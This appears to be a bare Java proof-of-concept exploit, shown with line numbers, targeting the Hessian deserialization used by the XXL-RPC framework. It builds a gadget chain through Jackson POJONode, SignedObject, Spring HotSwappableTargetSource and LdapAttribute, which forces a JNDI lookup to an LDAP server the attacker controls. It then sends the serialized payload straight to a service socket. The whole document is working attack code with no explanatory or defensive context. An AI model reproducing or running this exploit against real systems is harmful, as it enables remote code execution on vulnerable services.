1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
| import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.xxl.rpc.core.serialize.impl.HessianSerializer;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtMethod;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.Socket;
import java.security.*;
import java.util.HashMap;
public class poc2 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
jsonNode.toClass();
} catch (Exception e) {
}
Class<?> aClass = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance("exp");
setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:8888");
setFieldValue(obj, "rdn", new CompositeName( "a/x"));
POJONode node2 = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node2);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(val, privateKey,signature );
POJONode node = new POJONode(signedObject);
Object xstring;
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
xstring = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xstring);
HashMap map = map2equals(hotSwappableTargetSource1, hotSwappableTargetSource2);
byte[] exp;
HessianSerializer serializer = new HessianSerializer();
exp = serializer.serialize(map);
int length = exp.length;
byte[] newArray = new byte[length + 4];
newArray[0] = (byte) ((length >> 24) & 0xFF);
newArray[1] = (byte) ((length >> 16) & 0xFF);
newArray[2] = (byte) ((length >> 8) & 0xFF);
newArray[3] = (byte) (length & 0xFF);
System.arraycopy(exp, 0, newArray, 4, length);
Socket socket = new Socket("127.0.0.1", 7080);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(newArray);
outputStream.flush();
outputStream.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static HashMap<Object, Object> map2equals(Object o, Object o2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeD;
try {
nodeD = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeD = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD);
nodeDons.setAccessible(true);
Object tbl = Array.newInstance(nodeD, 2);
Array.set(tbl, 0, nodeDons.newInstance(0, o, "key1", null));
Array.set(tbl, 1, nodeDons.newInstance(0, o2, "key2", null));
setFieldValue(s, "table", tbl);
return s;
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
}
|
